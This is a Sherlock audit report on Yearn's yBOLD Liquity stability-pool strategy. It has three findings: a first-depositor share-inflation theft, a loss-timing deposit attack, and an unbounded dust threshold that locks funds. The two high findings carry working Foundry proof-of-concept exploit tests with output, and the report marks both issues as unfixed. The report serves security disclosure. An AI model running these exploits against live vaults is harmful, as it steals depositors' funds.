SHERLOCK

Security Review For Yearn

Public Audit Contest Prepared For:	**Yearn**
Lead Security Expert:	**Obsidian**
Date Audited:	**May 22 - May 25, 2025**
Final Commit:	**845c515**

Introduction

Yearn is DeFi's original yield optimizer, now launching a new initiative called yBOLD. This product allows BOLD holders to deposit into yBOLD, which allocates funds across multiple stability pools to optimize yield and auto-compound collateral and yield rewards into more BOLD.

Scope

Repository: johnnyonline/yv3-liquityv2-sp-strategy

Audited Commit: 99bdf0a9ade3af6f68e7d6b008b3c5a379e94f16

Final Commit: 845c5151af799c4d0d801855dbdd5b977bafd460

Files:

- src/Staker.sol
- src/StakerFactory.sol
- src/Strategy.sol
- src/StrategyFactory.sol
- src/interfaces/AggregatorV3Interface.sol
- src/interfaces/IAccountant.sol
- src/interfaces/IActivePool.sol
- src/interfaces/IAddressesRegistry.sol
- src/interfaces/IAuction.sol
- src/interfaces/IAuctionFactory.sol
- src/interfaces/ICollateralRegistry.sol
- src/interfaces/IMultiTroveGetter.sol
- src/interfaces/IPriceFeed.sol
- src/interfaces/ISortedTroves.sol
- src/interfaces/IStabilityPool.sol
- src/interfaces/IStrategyInterface.sol
- src/interfaces/ITroveManager.sol
- src/periphery/Accountant.sol
- src/periphery/AccountantFactory.sol

Final Commit Hash

845c5151af799c4d0d801855dbdd5b977bafd460

Findings

Each issue has an assigned severity:

- Medium issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.
- High issues are directly exploitable security vulnerabilities that need to be fixed.

Issues Found

High	Medium
2	1

Issues Not Fixed and Not Acknowledged

High	Medium
0	0

Security experts who found valid issues

0x15 Obsidian Robert

Issue H-1: A malicious attacker can steal 25% of the funds of the first depositor in a strategy

Source: https://github.com/sherlock-audit/2025-05-yearn-ybold-judging/issues/154

This issue has been acknowledged by the team but won't be fixed at this time.

Found by

Obsidian

Summary

Inflatability of the `TokenizedStrategy` share value, combined with the lack of an initial deposit via the `StrategyFactory`, allows a malicious attacker to steal 25% of the first depositor's funds.

Root Cause

The Strategy contract inherits it's vault logic from Yearn's `BaseStrategy` which delegates to the logic of the `TokenizedStrategy` contract.

The issue is that the `Strategy` does not perform an initial deposit into the vault during construction, allowing an attacker to inflate the share value to steal from a depositor.

Internal Pre-conditions

N/A

External Pre-conditions

N/A

Attack Path

The following attack uses a malicious admin to make the attack easier and quicker:

- set profit max unlock time to zero (helps make the attack's setup instant)
- immediately report the 1 wei profit (helps immediately achieve the state of totalAssets=2, totalShares=1)

The README states that admins should not be able to steal depositor funds:

> if any role is able to set a value in a way that could result in the theft of depositor funds, this would be considered a valid finding. No role should be capable of stealing from depositors or permanently blocking withdrawals.

Nonetheless, the attack is still possible without the admin involvement, it would just require waiting for the profit max unlock time to complete, and for a keeper to report the 1 wei of profit

Attack path:

1. New strategy is created (via the `StrategyFactory` for example)
2. Malicious attacker observes the first depositor's transaction in the mempool (assume a $100k deposit)
3. Malicious attacker performs the following steps to inflate the share value:

- deposit 1 wei of BOLD into the strategy
- transfer 1 wei of BOLD into the strategy contract
- `report()` the gain, to achieve the state of totalAssets=2, totalShares=1; which is needed for inflation to begin
- repeatedly deposit and redeem shares, donating to the vault due to the rounding against the attacker.
- the share value is inflated up to a state where 1 wei of shares is equivalent to $50k + 1 wei assets
- due to the share value being inflated at an exponential rate, the above steps all occur in a single tx

4. depositor's transaction goes through, the shares owed to them is equal to 1.9999999, which rounds down to 1
5. Now the state is `totalAssets = $150k + 1 wei, totalShares  = 2`
6. The attacker can withdraw their 1 share for half of the total assets, receiving $75k. The attacker profits $25k, while the depositor loses $25k, which is 25% of the depositor's funds

Impact

A malicious attacker can steal 25% of the first depositor's deposited funds, forcing the depositor to suffer a substantial loss.

PoC

Add the following PoC to `Operation.t.sol`

Console output:

```
Logs:
  totalAssets 2e0
  totalSupply 1e0
  totalAssets 5.0000000000000000000001e22
  totalSupply 1e0
  attacker profit 2.4999999999999999999999e22
  user loss 2.4999999999999999999999e22
  user's deposit 1e23
```

Test:

```
function test_steal_from_first_deposit() public {
    address attacker = makeAddr("attacker");

    deal(address(asset), attacker, 1e23);
    deal(address(asset), user, 1e23);

    uint attackerBalanceBefore = asset.balanceOf(attacker);
    uint userBalanceBefore = asset.balanceOf(user);


    ////////// TX 1 //////////

    vm.startPrank(management);
    strategy.setProfitMaxUnlockTime(0);

    vm.startPrank(attacker);
    asset.approve(address(strategy), type(uint256).max);

    // deposit 1 wei of assets
    strategy.deposit(1, attacker);

    // donate and report a profit of 1 wei (to achieve initial state of 2 assets, 1
↪   share)
    asset.transfer(address(strategy), 1);

    vm.startPrank(management);
    strategy.report();

    console2.log("totalAssets %e", strategy.totalAssets());
    console2.log("totalSupply %e", strategy.totalSupply());

    // innocent user intends to deposit 1e23 BOLD (~$100k)
    uint userDeposit = 1e23;

    vm.startPrank(attacker);
    // in a single tx, attacker frontruns user by exponentially inflating share
↪   value to $50k + 1
    while (true) {
        strategy.deposit(strategy.totalAssets() * 2 - 1, attacker);

        if (strategy.totalAssets() > 1 + userDeposit / 2) {

            strategy.withdraw(strategy.totalAssets() - (1 + userDeposit / 2),
↪   attacker, attacker, 10_000);

            console2.log("totalAssets %e", strategy.totalAssets());
            console2.log("totalSupply %e", strategy.totalSupply());

            break;
        }
        strategy.redeem(1, attacker, attacker, 10_000);
    }

    ////////// TX 2 //////////

    // user deposits 1e23 BOLD (~$100k)
    // they are meant to receive 1.99999999 shares, this is rounded down to 1 share
    vm.startPrank(user);
    asset.approve(address(strategy), userDeposit);
    strategy.deposit(userDeposit, user);

    // attacker withdraws funds, stealing 25% of depositor's funds
    vm.startPrank(attacker);
    uint assets = strategy.redeem(strategy.balanceOf(attacker), attacker, attacker,
↪   10_000);

    vm.startPrank(user);
    uint userAssets = strategy.redeem(strategy.maxRedeem(user), user, user, 10_000);

    uint attackerBalanceAfter = asset.balanceOf(attacker);
    uint userBalanceAfter = asset.balanceOf(user);

    console2.log("attacker profit %e", (attackerBalanceAfter -
↪   attackerBalanceBefore));
    console2.log("user loss %e", (userBalanceBefore - userBalanceAfter));
    console2.log("user's deposit %e", userDeposit);
}
```

Mitigation

One solution would be to enforce a small initial deposit (>1000 wei) upon deployment of a new strategy in the `StrategyFactory`, and burning the minted shares. This prevents the shares from being inflatable.

Another solution is to use slippage protection in the deposit function to set a minimum number of shares received.

Issue H-2: Attacker can deposit after the keeper reports a loss, but before the collateral auction to steal from other depositors

Source: https://github.com/sherlock-audit/2025-05-yearn-ybold-judging/issues/155

This issue has been acknowledged by the team but won't be fixed at this time.

Found by

0x15, Obsidian

Summary

An attacker can exploit the timing between when a loss is reported and when the associated collateral is later auctioned and reported as profit. By depositing in between these events, the attacker mints undervalued shares and redeems them at a profit, stealing from prior depositors.

Root Cause

If there have been liquidations in the Stability Pool that reduced the strategy's BOLD balance, and the resulting collateral has not yet been auctioned, the strategy temporarily holds unprocessed collateral gains. When the keeper calls `report()` during this state, the strategy records a loss, since the BOLD balance decreased but the collateral value has not yet been realized. This lowers the price per share.

An attacker can exploit this by depositing right after the loss is reported, minting shares at a discounted rate. Then, once the collateral is auctioned and converted back to BOLD, the next `report()` reflects a profit, restoring the price per share. The attacker can now redeem their shares at this higher valuation, extracting more than they put in.

The loss is effectively socialized onto the original depositors, whose share value was diluted by the attacker's well-timed entry and exit.

Internal Pre-conditions

`management` has to do only **one** of the following:

- `setDoHealthCheck(false)`
- set the loss limit ratio via `setLossLimitRatio` to some % > 0, for example 10% or 50%

This is to ensure that the loss is reported after the stability pool liquidation occurs.

The README states:

> However, if any role is able to set a value in a way that could result in the theft of depositor funds, this would be considered a valid finding. No role should be capable of stealing from depositors or permanently blocking withdrawals.

This issue shows how management can maliciously steal funds (not yield) from depositors, due to the temporary loss that can be reported after Liquity stability pool liquidations.

External Pre-conditions

There must be some collateral gains in the stability pool from liquidations

Attack Path

1. User deposits assets into the strategy
2. Stability pool decreases BOLD and increases collateral gains from liquidations
3. Keeper calls `report` to report the loss, reducing price per share
4. Attacker deposits assets into the strategy, at a discounted price per share
5. Keeper calls `tend` to sell the collateral for BOLD
6. Keeper calls `report` to account for the sold collateral, this increases price per share
7. Attacker redeems all their shares, at a higher price per share for a profit

Note: The attacker can frontrun the keeper's step 3 by performing the liquidations if necessary

Impact

Attacker can steal a significant % of the assets from other depositors, in the case of the POC it shows an attacker stealing over 30% of a depositor's funds

PoC

Add this helper function to Setup.sol

```
function simulateLargeLiquidation(uint256 _debtToOffset, uint256 _collToAdd) public
↪  {
        IStabilityPool _stabilityPool = IStabilityPool(stabilityPool);

        // Simulate the liquidation by calling offset on the stability pool
        vm.prank(address(_stabilityPool.troveManager()));
        _stabilityPool.offset(_debtToOffset, _collToAdd);
    }
```

Add the following test to `Operation.t.sol`

```
function test_POC__Attack__Final() public {
    setFees(0, 0);

    vm.startPrank(management);
    strategy.setDoHealthCheck(false);
    strategy.setProfitMaxUnlockTime(0);
    vm.stopPrank();

    // User deposits into the strategy
    uint256 userDepositAmount= 100e18;
    mintAndDepositIntoStrategy(strategy, user, userDepositAmount);

    // Earn Collateral, lose principal
    simulateLargeLiquidation(1000000e18, 1000e18);

    IStabilityPool _stabilityPool = IStabilityPool(strategy.SP());
    uint256 _expectedCollateralGain =
↪   _stabilityPool.getDepositorCollGain(address(strategy));
    assertEq(ERC20(strategy.COLL()).balanceOf(address(strategy)), 0);

    // Report the loss
    vm.prank(keeper);
    (uint256 profitFromReport, uint256 lossFromReport) = strategy.report();

    // Attacker frontruns the call to `tend` and `report` by depositing
    address attacker = address(98989898);
    uint256 attackerDepositAmount = 100e18;
    airdrop(asset, attacker, attackerDepositAmount);
    depositIntoStrategy(strategy, attacker, attackerDepositAmount);

    // Call tend and simulate the auction process to sell the collateral to repay
↪   the initial "loss"
    vm.prank(keeper);
    strategy.tend();
    airdrop(asset, address(strategy), lossFromReport);

    // Report
    vm.prank(keeper);
    (uint256 profit, uint256 loss) = strategy.report();

    // Attacker redeems all their shares for a profit,
    // stealing from the other depositor who is left with a loss the same amount
    vm.startPrank(attacker);
    strategy.redeem(strategy.balanceOf(attacker), attacker, attacker);
    console.log("attacker profit %e", asset.balanceOf(attacker) -
↪   attackerDepositAmount);

    // user redeems all their shares for a loss
    vm.startPrank(user);
    strategy.redeem(strategy.balanceOf(user), user, user);
    console.log("user loss %e", userDepositAmount - asset.balanceOf(user));
}
```

Console output:

```
Ran 1 test for src/test/Operation.t.sol:OperationTest
[PASS] test_POC__Attack__Final() (gas: 1240200)
Logs:
  attacker profit 3.2545605454869741322e19
  user loss 3.2545605454869741322e19

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 252.33ms (5.00ms CPU
↪  time)

Ran 1 test suite in 253.45ms (252.33ms CPU time): 1 tests passed, 0 failed, 0
↪  skipped (1 total tests)
```

Mitigation

No response

Issue M-1: No maximum on dustThreshold allows management to lock user funds

Source: https://github.com/sherlock-audit/2025-05-yearn-ybold-judging/issues/90

This issue has been acknowledged by the team but won't be fixed at this time.

Found by

Robert

Summary

Because there is no maximum amount on `dustThreshold`, management can increase it to an absurdly high number. By doing this, they stop all auctions from happening. Users will continue to lose BOLD to liquidations but will not be able to receive anything in return, therefore leading to permanent locking of funds users are owed.

Root Cause

Strategy.sol#L155:

/// @notice Set the dust threshold for the strategy /// @param _dustThreshold New dust threshold function setDustThreshold(uint256 _dustThreshold) external onlyManagement { require(_dustThreshold >= MIN_DUST_THRESHOLD, ”!minDust”); dustThreshold = _dustThreshold; }

This function allows management to set dust threshold. It has a minimum amount, but no maximum. If a maximum is added it will stop management from being able to lock user funds.

Internal Pre-conditions

1. Admin sets `dustThreshold` absurdly high
2. Users funds owed to them from liquidations are locked as collateral in the strategy contract

External Pre-conditions

1. Liquidations must occur for it to have an actual effect

Attack Path

1. Management sees a large amount of incoming liquidations
2. Management sets dustThreshold very high so auctions cannot occur
3. User funds taken by liquidations are permanently locked

Impact

The attacker doesn't inherently gain anything from the attacker but users suffer from locking of their funds. If done directly before a large amount of liquidations, this could be a significant amount of user funds.

PoC

No response

Mitigation

Add a maximum amount to dust threshold such as 1e18

Disclaimers

Sherlock does not provide guarantees nor warranties relating to the security of the project.

Usage of all smart contract software is at the respective users’ sole risk and is the users’ responsibility.